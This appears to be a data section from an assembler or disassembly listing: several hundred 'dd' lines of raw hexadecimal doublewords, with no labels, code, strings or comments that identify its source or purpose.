		dd 0E5F50043h, 1860D6BEh, 146A9541h, 7B1F6808h,	0DF0592F7h
		dd 203852F1h, 35B4645h,	678490C7h, 0AEE100C8h, 0EAC64943h
		dd 2702778Fh, 0E45F0BF8h, 5A809050h, 0B4D9C088h, 0A4F360E2h
		dd 247FB300h, 3F4F0E6Bh, 88411E93h, 1CA8EA2Ah, 160C8Dh
		dd 0D6FC808Eh, 3B00FED2h, 3E97434Eh, 3216645h, 538774C4h
		dd 6818F286h, 4871B770h, 79FC0028h, 3ADC5F65h, 0CD07466Ch
		dd 0C7945749h, 1A08FFF0h, 0D7EF18CAh, 6DA2C9DAh, 4E98D600h
		dd 0D5BB6C84h, 829B039Fh, 0FC5ACA61h, 0A6FBC128h, 2675EB00h
		dd 0BA710B48h, 0DF9218A0h, 0A3F45031h, 0A8C8F600h, 70833604h
		dd 0F08E002Bh, 0E27D5020h, 441F0CB3h, 22000245h, 48955576h
		dd 47D80030h, 666E7DC9h, 0A87C2170h, 0C652EE0Fh, 938DC16Ah
		dd 0BC410B3Ch, 0A083E66h, 6F1BF1DEh, 0D2DC8838h, 73B9195Ch
		dd 0C4F418BBh, 700AB5Eh, 267C5174h, 0B97840h, 59A61CB5h
		dd 1136E5E0h, 5CCF7F79h, 0FDCFBFF4h, 60C90E04h,	58955A42h
		dd 56A25E1h, 8A483E70h,	34FE7C04h, 3E0063ECh, 0F9826BBEh
		dd 1E98EADFh, 0EE8456h,	28AF5FBDh, 58F085BFh, 843A600h
		dd 0EAD0415Eh, 1F1106ADh, 2086F6E5h, 4600F7FEh,	83D3282Fh
		dd 0B197D5h, 50B3EAE1h,	0D048BE91h, 0F8EE861Ch,	39DE1BC0h
		dd 0C3D742D6h, 0E872E510h, 8963F088h, 6313D14Ch, 1FEFF108h
		dd 0C015B220h, 4357E1BEh, 29007EF4h, 5482BF3Eh,	3D667053h
		dd 0E412720Fh, 7FB0038Bh, 18065EF8h, 9BE17D2Ch,	4E850069h
		dd 413172F1h, 6EE6B181h, 0BC08A963h, 0A520007Ch, 0DD747B3Ah
		dd 451E3F16h, 9A0040B6h, 2D207DFFh, 1CC8C2B4h, 609037DEh
		dd 0A74E87Ch, 0EE227346h, 0E804C400h, 0BE816809h, 6F24066Dh
		dd 0B0F26461h, 0C0820F1Bh, 6D0AB0A1h, 5DCCA08Ah, 0DBDE0622h
		dd 785E4D20h, 2E8138h
		dd 9DEAA7C2h, 4A2DA2D6h, 45C2E0DFh, 5AF03300h, 28147686h
		dd 5E7000Ah, 0BA7A15C6h, 0A900DE0Dh, 0AAFEEA78h, 1E1310EFh
		dd 0CF776Ch, 6AE495FCh,	25488D35h, 0CB1D0054h, 1C204616h
		dd 0E6980029h, 8B5E7002h, 682CE974h, 0D3005991h, 0A515C534h
		dd 29061698h, 6E2800FDh, 0E8680B5Eh, 429428C8h,	0E9245AA4h
		dd 11560821h, 9611C0D0h, 0A4E5111Eh, 947AD811h,	1114EC79h
		dd 511013F6h, 802739AAh, 859CD2AFh, 7DBA401Ch, 911D03E3h
		dd 88DDFD18h, 0B7563AE0h, 0DA61FE07h, 4200E32Eh, 1F32BA83h
		dd 1D87B497h, 0CBD080F7h, 76120C85h, 0B1999E03h, 0B0A1E92Fh
		dd 0ADED3Bh, 933ACA83h,	37FB5613h, 7FCD9603h, 1FA649A5h
		dd 0C0C3C910h, 0B9FDF0Ch, 150070ADh, 5D7F3ABAh,	0BECFACh
		dd 4E8823CEh, 369140DBh, 154B4500h, 2C04F2C2h, 547D0001h
		dd 52DA5C95h, 4000C833h, 227F0B94h, 3BBB1Ch, 545DE07Ah
		dd 0A9C31FFh, 2DA1B100h, 0CC0160CFh, 26250917h,	6B8089B7h
		dd 0ECF2D9BBh, 0D1083C00h, 0B6A6354h, 5ED0077h,	85966C88h
		dd 9900E85Ch, 305EA829h, 0E7C55Ah, 4215F90Dh, 70187345h
		dd 31465Ch, 0B6D8011Eh,	38CCD8Fh, 656AD931h, 28A04244h
		dd 0C800051Ah, 21D87430h, 1DE9E4E6h, 0D2638h, 541E1299h
		dd 103CED4Fh, 6CF100C9h, 0C391F921h, 7BA51E9Fh,	2AFCC122h
		dd 0E71D1B90h, 8095E5F9h, 0F3696BF6h, 0E2D70C32h, 883B00C0h
		dd 1BEB1AA0h, 0E7003621h, 85FC0AE5h, 0E2F9704Ch, 48BB1DB4h
		dd 288B00B2h, 0D61DC334h, 751E4E01h, 0FD0AFEEDh, 7907CD4h
		dd 76152453h, 3026206Dh, 9F005ADCh, 0B9C04B80h,	6879Dh
		dd 85E8F83Fh, 8D1574F0h, 2F60B21Fh, 0DB3BEAC3h,	14D2884Bh
		dd 0C2776Eh, 44C5EE4Fh,	9A2A951Fh, 0B7C7521Fh, 32D7D803h
		dd 785BD0BFh, 47CA00BCh, 0DAAAFCF1h, 7201ACB9h,	73DCE439h
		dd 20CC0E33h, 0B75CB2h,	0FCAF2D00h, 0C94B48A0h,	500030E0h
		dd 3AE768CBh, 71DF7E0h,	67D7A770h, 0A50A604Ah, 6A0003C0h
		dd 9D10CD25h, 0F809857Dh, 54DD17BBh, 0AAB404E5h, 206580A1h
		dd 19004D31h, 77E13435h, 9A352BAh, 718B0472h, 0AF318000h
		dd 0D50C5E91h, 9E789A38h, 210F009Dh, 3BDA7EDh, 190069BFh
		dd 9A292A5Ah, 35B1ECh, 0EA17C2F4h, 51187DCAh, 3C001892h
		dd 346F8978h, 27C7E5h, 0E76176A0h, 40AD429Ah, 0E9AC2106h
		dd 931878Ah, 0D2FCDCEAh, 0D101BD00h, 6D70A034h,	84C93E18h
		dd 7F3046F8h, 56E60123h, 825AF46Ch, 0C49AF9DDh,	0E5004C21h
		dd 0F54BBF25h, 0F2260889h, 0E85B3DF8h, 721FA500h, 0BD1367Eh
		dd 797FA000h, 57203E94h, 12D200C8h, 9ACF1F49h, 0D9E5ED9Bh
		dd 4CA6FCC7h, 1E4D1700h, 5632B6F2h, 0D979B2h, 300C272Ch
		dd 0D3E198D2h, 4A93E203h, 0E0E9BA4Bh, 144E64h, 0BD70D557h
		dd 0C14DCD6Bh, 0F8C0448h, 23BA3Bh, 91BB423Dh, 5DFC03F0h
		dd 722E2A84h, 0EAF4E0C8h, 0A68D701h, 51A64BB4h,	863CC0h
		dd 0ED8A800Bh, 447B0455h, 0EAC89100h, 0EF3810CCh, 0C5D81FE5h
		dd 570A80DDh, 3F155F1Bh, 68918900h, 0E2058209h,	0A3DE0E52h
		dd 1F20CB21h, 7A1AC41Ch, 0DB0AD900h, 4C17A845h,	327500D2h
		dd 2FDAB90Eh, 92505C43h, 57003ACBh, 0B422A2BAh,	0F68B67h
		dd 207004EDh, 3DA0CB6Ah, 0C2003F7Fh, 6F4BB75Eh,	3746C6h
		dd 6D412D10h, 3D7EC8A6h, 0BB236900h, 18BF6A4h, 9BB3003Fh
		dd 7B4C1F7Dh, 995C38A8h, 8D300177h, 0E2914BE0h,	77C72E0h
		dd 0F507923Fh, 8231A077h, 0AA268D19h, 49006CFFh, 3B8EE027h
		dd 20686E15h, 231CFEB2h, 0D102F981h, 1CF8A61Fh,	82E0470h
		dd 80DFAE86h, 8218AB38h, 0E6DEC81Eh, 0B90AE3DDh, 2407E4D2h
		dd 0FA23B739h, 2180BFE9h, 654C6Eh, 0DABAFCFBh, 71CF7C97h
		dd 0E9494600h, 5BB65EEDh, 19163095h, 33C153D8h,	0DDD13000h
		dd 6D5EB769h, 0A14820C3h, 120E2CE2h, 200F3262h,	3D414EB0h
		dd 2A790072h, 0EF6DBCBFh, 0A0035825h, 9401BA85h, 623EE1CAh
		dd 1A45F083h, 0D9C7B27Fh, 0F5CF9C80h, 7200ECC0h, 8C63BE3Bh
		dd 0B0EB9DC8h, 2CB707E4h, 500E62C7h, 0D045A97Ch, 2088E0C0h
		dd 7309956h, 0A010A748h, 0EE8FB08Ah, 860E879Bh,	0BADC6Ch
		dd 0E216D3F4h, 3F587CC0h, 8D802878h, 9431F313h,	3F29742h
		dd 9B747318h, 0FA10519h, 25712B7Dh, 0E4F1FF20h,	0DE794583h
		dd 94FEE707h, 26802DAEh, 0E03E0725h, 0C73C13BCh, 939807DAh
		dd 2ED233EDh, 3F33BDF0h, 0DF5FE800h, 4D0D4C6h, 3BD9D66Fh
		dd 0E01A8800h, 5A1B2AEFh, 1A26500h, 3890CD03h, 720E942h
		dd 0A4B7549Fh, 3FCC3089h, 678BBE11h, 1AF0F800h,	507A6E08h
		dd 0CED800EBh, 9DAB3547h, 0A7009155h, 0DC07FD16h, 0E4B98228h
		dd 80F6B7h, 4B060826h, 0D86BC52Dh, 0FB288706h, 18254Ch
		dd 868148C7h, 0FCE5EEFDh, 0C349B203h, 0F8C864F1h, 4BBE34h
		dd 235B62ADh, 44A2E3Ah,	69386E0Fh, 0F6DFC3C8h, 0D132E89Dh
		dd 6155002Bh, 0ABC694AAh, 11C9088h, 19001C58h, 0D16E7D91h
		dd 0DA6D00F8h, 293F5EF9h, 0FB00430Fh, 12740DBEh, 1876CFFh
		dd 0F4446962h, 0CCBB402Ah, 9E0E95CFh, 2055D0CBh, 35AF86CDh
		dd 4AF92496h, 319A0013h, 134E7FC3h, 6E10B107h, 9C003B4Dh
		dd 294306h, 32E22155h, 0EC4E9A36h, 488E240Bh, 0E0828F97h
		dd 0AE72AF07h, 13DE1C50h, 0EF7B40C3h, 922B843Ah, 1B5883FCh
		dd 9BB71C2Bh, 4C2DE600h, 8DD9F7h, 9A717079h, 642397A1h
		dd 387A590Ah, 4D00D0B8h, 0D6E2780Fh, 0BB96008Fh, 0A2BC579Ch
		dd 0A103E3ACh, 99950BF1h, 0FD51C8A3h, 9B390049h, 47C088FFh
		dd 4C393478h, 1AC8E3h, 7C6499A4h, 2CA847Dh, 68FC7124h
		dd 8898C225h, 0C51CD940h, 80BF4A18h, 13B7540Fh,	4E753Dh
		dd 0ED8B0879h, 0D8EA8429h, 9820851Fh, 0DE433A40h, 48E9C0h
		dd 0CB5FE204h, 0ADFFF464h, 0DDD8B501h, 165E5CC4h, 4955D4h
		dd 0B0EC8F02h, 9246B610h, 0F2C46C00h, 5070FF0Ah, 4A7A4C4Bh
		dd 952F1600h, 3DCBB02Ch, 0E50D3700h, 179B1DC0h,	7A1400CEh
		dd 647D0279h, 5E00536Ah, 51E48452h, 19D5847h, 3AD1A96Bh
		dd 50DF9904h, 154485FCh, 0E8E8A8A3h, 0A600E0AEh, 52077A50h
		dd 78EF21h, 6F3673D6h, 0BF611A0Fh, 7590D500h, 95E467F8h
		dd 405B0346h, 704FA2E5h, 0B674C000h, 2829FA5Fh,	0D33E4C9Eh
		dd 4BDFE000h, 52689496h, 2E46EA00h, 0CDB28054h,	0DB3F3BC1h
		dd 0D485A589h, 90403807h, 98D8CA46h, 0AE8DAC00h, 0B03BCF79h
		dd 8A300004h, 2B5665E6h, 39E233F7h, 9875993Dh, 0BF800F14h
		dd 0BC460CE3h, 0C0101344h, 0A723B407h, 0B600EB15h, 21FED2Ch
		dd 19B76026h, 8485CCF6h, 23F821A4h, 0DE7C245Eh,	5FD69C0Fh
		dd 69C22058h, 71A6774h,	80EF20A2h, 4D4431F9h, 9038F8F8h
		dd 0DA168E04h, 949035B3h, 23F176h, 0F6066D79h, 22CAC071h
		dd 37FC7A07h, 0AAD38CD8h, 0D18D8005h, 0CB783018h, 66235788h
		dd 0F58EFD00h, 0A564EC61h, 54801E1Dh, 0CCC6000Eh, 29360BEEh
		dd 93268100h, 215EAFBCh, 0E13D0075h, 30D95614h,	0AE00B992h
		dd 776BF238h, 0F3CFBDh,	96584AF4h, 0A19447A2h, 0E2D29300h
		dd 0A705EB7Ch, 0AAB4002Bh, 276460E4h, 0E61FB385h, 0FF405B81h
		dd 0ABA36DC9h, 0E3F805h, 512B9257h, 0F88D68F3h,	0D109AFF4h
		dd 8F214973h, 2FE0802Ch, 77C22229h, 1B3A00C9h, 92045C61h
		dd 0A40041D8h, 338571A3h, 814D9Dh, 0C9F7FCC4h, 0A6C69639h
		dd 57004C90h, 5D0DF68Ah
		dd 0AB452Eh, 64CCA2EFh,	0D5AEFE7Bh, 659D7800h, 69E3817Ah
		dd 9BF93DA3h, 5F28AA85h, 0B0A400D6h, 8A215CA7h,	6D1128C0h
		dd 8FF443h, 2A4A5235h, 3C6F688h, 0FBFC4B00h, 1C91BFCBh
		dd 253D32C7h, 0D8402806h, 9907D711h, 0AA358DF8h, 622F470h
		dd 28F3F4F2h, 0FF41D7Eh, 906EDAFDh, 832A1767h, 0AA909F96h
		dd 0C25CA4B2h, 0ECDC30F3h, 0E666F63Ch, 1258001Ah, 0C9629373h
		dd 3800C334h, 0F3F510BEh, 0CB9260h, 440F79D3h, 0D10D2D85h
		dd 9BD09500h, 0C6929A2h, 0D38700F0h, 0A68E6FECh, 11004F4Eh
		dd 0F62E5088h, 60E2A167h, 0F96B9858h, 0C035114h, 741D459Eh
		dd 9A2EA08Ch, 0DD4F00A8h, 0BAF476F7h, 642826EBh, 0AB10A02Bh
		dd 5300CF7Fh, 0BB35B698h, 2748B740h, 9D2E0F88h,	0B8D3400Ah
		dd 498101h, 925A8BAFh, 40B121C4h, 0DB420B00h, 6F3C8894h
		dd 20EF0E41h, 6C0BE11h,	102236CCh, 195F1400h, 0CA82D530h
		dd 0F92A077Ch, 20667A71h, 3E8AD36Fh, 0E590A500h, 74BAB3E4h
		dd 504C4CC9h, 0E0B41000h, 0A41BECFFh, 4E13BCB8h, 9F0008FBh
		dd 18B62B6Dh, 0CD393D31h, 6F754600h, 38BB4289h,	68568D07h
		dd 0E2402650h, 67903B6h, 0C43EBFCh, 7F78E010h, 0BDAE4C00h
		dd 0E978CE97h, 5A0141Ch, 1E7DC00Ch, 0C0BAA293h,	0C31BDC9Ch
		dd 0DE76A4D9h, 0ADF04B00h, 9AA1392Ah, 873E0091h, 4DC6FF70h
		dd 61E76E8h, 29879692h,	0BEA00D2Ah, 7378C33h, 780767F2h
		dd 0C76F80D8h, 114DC392h, 860D11C4h, 73223500h,	325AF933h
		dd 4B71B200h, 0BB9EC424h, 2F480013h, 0EAB9FCB6h, 3F4FC92Ch
		dd 460005E8h, 0B7B8BFD1h, 4000DD08h, 0B1C5ED5h,	16B99CFh
		dd 0C557D9FCh, 0D45664CAh, 8C0FA801h, 0C09E9F90h, 26AA31F4h
		dd 11A20030h, 6BD6DC37h, 0F700EEEAh, 39CAF5C2h,	13341DAh
		dd 0A7974E8Bh, 70B0FFE1h, 48EA686Eh, 0D869B539h, 39F80F68h
		dd 114600F2h, 0DD1440h,	0EEDAABBh, 0C2E49E64h, 0ABBF2303h
		dd 0D0D03987h, 0F347218h, 0FD3EF8FEh, 42379520h, 0ED00EE1Ah
		dd 945E4948h, 7C19A02Fh, 0FD271F21h, 13EF0287h,	2360DAF4h
		dd 760028EDh, 0A87D2146h, 35E140Fh, 358A34D4h, 0A7B05056h
		dd 4100C3D2h, 0AEE65926h, 818CC2h, 778204D6h, 0C53FAD88h
		dd 78F36600h, 0E24555B4h, 908A4C0Ch, 1748190Eh,	802DD9C2h
		dd 0E0683662h, 7501544Eh, 0F098C16Ch, 0A0D88A62h, 0C67200E7h
		dd 0BFE1A646h, 0CA731E26h, 424F9100h, 0F73081EFh, 938D13F1h
		dd 0D51386h, 0B8D6183Eh, 0E2007C1Ah, 6DAA3743h,	1328F9Bh
		dd 4CEE2A6Fh, 0D4DFA52Ch, 663EC020h, 733F80C7h,	0C5F5757Bh
		dd 7F60B75Eh, 0AB0227F4h, 94EC893Ch, 0EBECC8C6h, 713ECC9h
		dd 0A75D72Eh, 0E751A1EFh, 0D34D2053h, 263EF012h, 97E6000h
		dd 0F1B3D9h, 7FD0323Dh,	6A5E699Ch, 0E60E9C90h, 2014DEB7h
		dd 361CEFF2h, 0D8235026h, 0F8C7001Ah, 0F088FB6Ah, 0F201346Dh
		dd 8AE548D8h, 4CF4454Eh, 94DC00EEh, 0B7078011h,	4A002572h
		dd 0C3732A96h, 0D5C45h,	66FF4109h, 0D7A85AEEh, 203ED7Ah
		dd 30AEB6EBh, 6E65F077h, 0A5B5006Ah, 25F9C2BFh,	0F20285DEh
		dd 0E37BA0F8h, 0B79C699Dh, 9C47C40h, 1465712Dh,	0DD9E0814h
		dd 0E3124A00h, 3CFB4963h, 50F94D01h, 0C695DB5Ch, 26313074h
		dd 80A842CDh, 0F5A43507h, 2C0044B5h, 6CBD08C4h,	0CCD815h
		dd 94A8F3A3h, 9DC69395h, 1257100h, 31C22FEEh, 0FFBB0281h
		dd 4A757DDAh, 0A415B080h, 0B000C60Ah, 5B971058h, 1E7E8102h
		dd 80B922F7h, 0FD8A10Ch, 49001262h, 0B24AF3F6h,	75BAD0FEh
		dd 0FFCE00C4h, 39B4F85Eh, 7501FC18h, 277798D9h,	0C860862Bh
		dd 1B7719Eh, 0EF52ED2Dh, 30D5A9B2h, 0CA0047ECh,	253972AFh
		dd 13D9FF91h, 0EBC7EE8Fh, 3C9FC700h, 12231Fh, 0A33690DEh
		dd 30AD862Ch, 0F44CD902h, 60204363h, 85E90Eh, 46DBAA87h
		dd 64F3CEF5h, 6FE76A00h, 8AF06842h, 0CDF40057h,	0F1C2A64Fh
		dd 94381E24h, 0B71E7582h, 55427823h, 0E0A1B3AEh, 0AF56A8h
		dd 0D25B071h, 0E7E04C2Bh, 0E3424E00h, 6EC5441Dh, 9010C1E8h
		dd 0F0F7CC65h, 0D902BEE4h, 0AE25059Dh, 58AC808Ch, 0B0C07A35h
		dd 5BDA0195h, 97E992C5h, 0F308209Eh, 0C0AC854Ch, 63823F0Ch
		dd 2BFB17E8h, 5330007Ah, 9F65D15Ch, 0E4C35601h,	0AA9A0234h
		dd 6BBFD0h, 7DCA50E2h, 9E10B247h, 70D75C00h, 0A79579D2h
		dd 0B4D50068h, 870681EBh, 0AE0DA49Ah, 0B8CBDFE1h, 255160h
		dd 0F6ED85E8h, 0E4C798E9h, 0C801AB04h, 9480DFA9h, 705BDC82h
		dd 9A120077h, 0F1718154h, 4000ACE6h, 0C1A1BFBh,	539A78Fh
		dd 788970A9h, 3F12C085h, 0E8246AB1h, 0FC00E528h, 8B551EE5h
		dd 0BB97004Ah, 0EDBD14C5h, 0F4006063h, 80A73B4Dh, 7C50C2D8h
		dd 0C611000Bh, 82380354h, 0FDF6CA17h, 83873F00h, 3097342Ch
		dd 93A900C9h, 28F2ECF1h, 813F186Ch, 175B3CD3h, 9C005A77h
		dd 5E37A6D7h, 3CA76EDh,	9AEBE730h, 0F3C0AB5Fh, 553CD1C6h
		dd 51CF0022h, 604E1F5h,	0DB7E013Eh, 7AC3C8F6h, 0CFB4E4C6h
		dd 0EFAD513h, 1D629501h, 37EB5A7h, 6C5404F1h, 52A984F8h
		dd 2C34F800h, 0C9EDA44Fh, 0EC9865h, 3646FF66h, 84BDD9A8h
		dd 0DB81FC00h, 79A40D4Dh, 8C88003Ch, 0CA10EC82h, 0D40F435Bh
		dd 264BAAADh, 1EC89D7Eh, 758601h, 0D994A744h, 2B071A2Ah
		dd 836482DCh, 0FC69D880h, 4E0003Bh, 48DE4A9Fh, 6700A4D4h
		dd 8F3DB087h, 1F64E2B1h, 0C08BCBE3h, 0B6467238h, 540B7507h
		dd 6EEEF2h, 90A0230Bh, 1D111C3Ch, 0D212DCh, 0DBC0636Fh
		dd 9F7D5ADAh, 2EA27B02h, 60386084h, 0C09E8ED8h,	74FB8C70h
		dd 7C003D37h, 0DC072252h, 0C46B280h, 8C38B0CBh,	7CF01998h
		dd 781C706h, 1808D754h,	2035B350h, 80751D5h, 0B480C438h
		dd 7A444210h, 299E00B9h, 13B7F1FBh, 2500A6E1h, 0D57C3EB6h
		dd 0FBCCF079h, 0F400C678h, 0DE4B4DC2h, 0DB01B71Bh, 9D29BFD4h
		dd 0CCE41326h, 124F0C53h, 4AB0F2BCh, 0BFEF5F50h, 0A6D90D15h
		dd 3A43039Ch, 0F81C42BAh, 72EC61h, 8DD00B4Bh, 2B55B17Bh
		dd 0F4516503h, 0E85211BBh, 4CE14E0h, 9C3567A6h,	20BA872Dh
		dd 3749F51Fh, 8094DF3Eh, 5F91C033h, 7FF186ADh, 61E00A7h
		dd 4B92355Ah, 0DB00EB01h, 0B11D71EDh, 61DFD6h, 0EADA5595h
		dd 0F8C2F5B6h, 7FD27950h, 38E4B01h, 0BD75C5F1h,	1221D0F1h
		dd 0C46FB880h, 3CBE5273h, 0C3580300h, 703AE86Ch, 50687CC1h
		dd 2EC91h, 212F22DCh, 79069CFEh, 5E288975h, 3300FEAAh
		dd 628C010Ch, 0B4830Dh,	4F96BFBEh, 2C8A18F2h, 0A978C200h
		dd 1F0C1538h, 92490D6h,	0AA3475E7h, 0D281A800h,	0FB0035C6h
		dd 0BE917882h, 92D0F797h, 0FEED7DBCh, 0EFDC0136h, 4F76666Ch
		dd 311DC403h, 1CE60FECh, 0C90AC90h, 5511EB00h, 34A04FDDh
		dd 0D69005Eh, 9D8E861Fh, 0B6F8C28Fh, 7B7F7900h,	617AE780h
		dd 6F3307DFh, 0F0AAEAECh, 4551D020h, 79002CEEh,	0B76D6F3h
		dd 797E0519h, 0DBDF5C90h, 0FA23CD00h, 0BC6B3F3Eh, 4759AA07h
		dd 8BA014A5h, 0F1D093h,	8FAC5745h, 7826D616h, 0F47A6700h
		dd 0CEBBB04Bh, 55360010h, 379A70CCh, 300B61Eh, 0A8E626FBh
		dd 0CE12A0h, 51603D8Bh,	5F2C79EAh, 4F5EEB01h, 4E768343h
		dd 0A2C84221h, 6A953BC6h, 5D40BA80h, 6B72F7Ch, 71273400h
		dd 125BB424h, 4470042Eh, 9074FE83h, 5CCA40B8h, 30AF841Dh
		dd 0D3881600h, 3CCFAAh,	0CDB0A7E0h, 2B0FEDE6h, 24C6BB00h
		dd 4127FA29h, 0D53901AEh
		dd 3666C2E2h, 0A39C43CBh, 0A8547F80h, 0EE71D001h, 2191CE0Dh
		dd 605CBAD7h, 80FBB6h, 3A25F08h, 0AD4A1966h, 9FD17E00h
		dd 0EFD20221h, 42BE0E96h, 0C7E025C6h, 0D7754E2Bh, 1C5BE426h
		dd 9D7FA180h, 9279564h,	4177BE3Fh, 545F8E57h, 0B9A91E84h
		dd 0C402CBC0h, 3A78ECh,	0C938A5C0h, 8A09205h, 0DF28300h
		dd 0FEE41F67h, 72FB3F75h, 0BDBE4109h, 7FC22483h, 0FC7E3580h
		dd 245CC00h, 5D54A2ADh,	0F5E69Dh, 2B3A2393h, 2EC0ECD9h
		dd 7A7EE5EEh, 0E8A12F07h, 0E4801C96h, 78E85E7h,	914AF59Ch
		dd 3A9300BFh, 3600270Fh, 38C6FAB1h, 378E92h, 0A7F324A6h
		dd 6AC5766Ch, 97E21890h, 75BE8700h, 8F19E8ADh, 0DB16014Dh
		dd 6F67D8FDh, 0DC51DDEFh, 7A1DD6EBh, 4644C65h, 27B9D080h
		dd 90687CFBh, 0C4FD002Ch, 61BF813h, 25001F2Ch, 0DF1E676h
		dd 523143h, 6683FBB2h, 4CD8D0EEh, 847DA106h, 88BD06h, 0AC78BF0Ch
		dd 0C56818ADh, 0F760E501h, 0DAD32D76h, 7A778C64h, 2379067Dh
		dd 383F1B43h, 0AEE45F01h, 11B996B2h, 39298880h,	157E1659h
		dd 8FF56606h, 0EB44957h, 20440B5Eh, 39BD8BC0h, 7C03B3F1h
		dd 27A6BBCAh, 1A5D80AFh, 31890077h, 134CB963h, 23029B48h
		dd 0F38F8DABh, 84B7E037h, 0E5110F5Fh, 2D69DDBAh, 0A6214C80h
		dd 0AAB84C3Bh, 80AD3000h, 0C8A5A298h, 0C440789h, 0A0FF78D0h
		dd 5E21AA03h, 0C04D4A31h, 4771B360h, 0FA1FF4h, 667ED1Bh
		dd 0B83F5A72h, 0A1A97300h, 0AA055029h, 0C83E008Bh, 4D91E4D0h
		dd 95037A5Fh, 27758E97h, 0E2C9A86Bh, 0EEF900A2h, 39659C8Ch
		dd 5F5824DBh, 0AD13006Dh, 0EC96BBEFh, 0DA8700FAh, 0FBF8419Fh
		dd 53902B50h, 0C0361C00h, 78A00A97h, 57653E32h,	41715280h
		dd 0AA68C4A9h, 0EA96BC00h, 30285808h, 69B13DB0h, 74AD5300h
		dd 788BD991h, 60109730h, 1DBD6D90h, 0D40FFF8Ch,	0BF00C920h
		dd 1BEDCA2Fh, 28002C4Ah, 0FA3B9C2Dh, 0F5E3EFh, 82662773h
		dd 51A1CD55h, 0B7BEFCEFh, 1344C800h, 0C9E18688h, 0C70503B3h
		dd 7F342AB8h, 64F514A9h, 0CD7FD990h, 0D42B2E1Ch, 0FA00B8EEh
		dd 610CABF0h, 86522E2Ah, 9CF907DEh, 3073F032h, 9400984Dh
		dd 6B38B382h, 0DB80FEh,	0A759B73Fh, 0C0A0F4ADh,	880DDD00h
		dd 3B738F5Ah, 0D7370744h, 801441DEh, 804C0CDh, 8D743Dh
		dd 154D799Ah, 6C3AFEh, 0FCDBD6C5h, 76593713h, 27261000h
		dd 0B1CAD15Bh, 8664006Eh, 0AA025F50h, 654CAC07h, 0A0E90094h
		dd 9FEDBF93h, 7C92BBh, 3C76F062h, 88A91E94h, 47DE7109h
		dd 0E4BC20B3h, 0B94413h, 581A7C6Ah, 99ADD64Ah, 5723BC1Ch
		dd 89462EC7h, 0CEB8ECD0h, 55A607B0h, 2DF606h, 42226DAAh
		dd 0E268BC66h, 0F38B80B0h, 0BE4A0091h, 0B00A855Bh, 83001269h
		dd 1CB964B2h, 0EF98D7h,	2CE1D23Ch, 0AAB8774Eh, 31B23F01h
		dd 8E076E23h, 817920h, 0B6DD844Fh, 791DFA2Bh, 0B75EE31Fh
		dd 0D8EC1905h, 2C43BBC0h, 0E53A0134h, 96BA5FF4h, 460CE8DDh
		dd 0AA383BE8h, 44B5807Ah, 0A67D5A19h, 0DCD15871h, 9D01AF39h
		dd 207214F2h, 0A996F4BFh, 23D63Dh, 8C9FE4B6h, 0CB1D7Fh
		dd 0E0106D88h, 3540A543h, 4938D970h, 0DFEB80CFh, 0CB134E16h
		dd 0B14C3C0Eh, 0C8AC9100h, 2F7B2E92h, 0FC118430h, 0C1210Ah
		dd 0A70C5D5Bh, 4392324Eh, 1A9B38h, 2302EBDh, 1C3ED838h
		dd 80A8FE75h, 0E8D236AEh, 883027B1h, 12792032h,	0E67300BFh
		dd 0E5872378h, 0E200CFA6h, 62C364ACh, 32ED304h,	256A8A2Ch
		dd 0E798A453h, 0DC00D778h, 9CCB0594h, 1F0FAB47h, 92F84B26h
		dd 0DDA88865h, 6AB0740Ah, 1C039018h, 0F3125E37h, 0EBBF29h
		dd 9D53CE20h, 96FE7994h, 296D8020h, 0FFB9E346h,	24412800h
		dd 0E816B7CAh, 0BF7B0718h, 507985B3h, 0CBC96239h, 6F030EFCh
		dd 437A5571h, 0AF70D010h, 107768Eh, 0F8F04469h,	0E82EB638h
		dd 590082CEh, 0D7F7EAEh, 5C57E311h, 0C280087Ch,	0A01AAB2Ch
		dd 9FFFA17h, 0E6AAA800h, 0A69927h, 444817B4h, 0B50C962Ah
		dd 0E74BFE00h, 70A2C236h, 850D003Bh, 0A919D0ADh, 7A3F649Bh
		dd 53050008h, 0C329F7E9h, 5791028Fh, 7E58F18Bh,	1975E740h
		dd 817BFC30h, 7C36FDFBh, 0F659003Dh, 4C5AC428h,	0C12CE2Ah
		dd 0B080A777h, 9AF1360Bh, 0B5C70F30h, 456094EDh, 4002BAF0h
		dd 76B09C01h, 8669CDF7h, 31F22C4h, 0C2D4C09Dh, 0A2ABBE0Fh
		dd 0F250ADE0h, 0CA006AF2h, 8449C37Ch, 228A0Ah, 0C7778B4Dh
		dd 0C2DFFFF8h, 33885103h, 0FB0A7D6Bh, 1210124h,	94591C20h
		dd 14C3F710h, 3F1252E0h, 5D89A200h, 0F6C9C5AFh,	647572h
		dd 7C4FAEC6h, 0D6AC0122h, 0FBE39F1Dh, 7591540h,	0C2947Fh
		dd 9D623F4Fh, 0AE84A33Dh, 0EF6BE114h, 618B34B3h, 9CFC042Bh
		dd 0B1763703h, 251B2EDh, 4C5F1C18h, 44C04AEEh, 0DD0F375Ch
		dd 1F63ED90h, 61BB007Eh, 0CF26EFC5h, 2890F91Fh,	5515845Ah
		dd 42692744h, 4E87183h,	8ECA2146h, 80103312h, 0B279C434h
		dd 8DF5445Eh, 62BF44h, 92718BC4h, 637D121Bh, 76D70072h
		dd 6E55F6D4h, 6F183700h, 0F99F4465h, 16800031h,	0AB6DB00Fh
		dd 0E2791DA5h, 2700C97Ch, 3EFA0DDFh, 0F6D0CFA9h, 0BA50032h
		dd 0F40CB934h, 2A009E13h, 35E5C04Dh, 0D1AAFEh, 2D728CFAh
		dd 71FC896Dh, 0DA9C3803h, 47F674h, 11E77EC8h, 0A45EFDCDh
		dd 3FA8500h, 7F42E079h,	1B3D0F81h, 3080CC7Eh, 9E31942Fh
		dd 9B121000h, 2A87A94Ah, 3BC10507h, 388EFA2h, 1720E5D0h
		dd 0DDED00EFh, 3E03834Bh, 5254F9CEh, 0E685B813h, 11046034h
		dd 9160C1B0h, 0C0B92903h, 82D93Bh, 37420C49h, 0F930B28Dh
		dd 1286222Ch, 163E2403h, 28F8C035h, 8A79E9h, 7934B9C1h
		dd 21EDBDEEh, 5C3BEA00h, 3E7A3847h, 0AFE03E1Dh,	0A07CB783h
		dd 128399F9h, 4F78D988h, 0C085CA28h, 8049693Bh,	1B9B110h
		dd 7F3DDFh, 7DE5C247h, 7A8023BFh, 13EA7107h, 3EF5F331h
		dd 344EF7C0h, 0C7C10561h, 784076Fh, 4163A8h, 2527927h
		dd 574A4E1Dh, 2E400EDDh, 0E5FF982Dh, 0E2621FDBh, 406684h
		dd 7744C96Eh, 49004753h, 42683129h, 7B1618C5h, 37090A6h
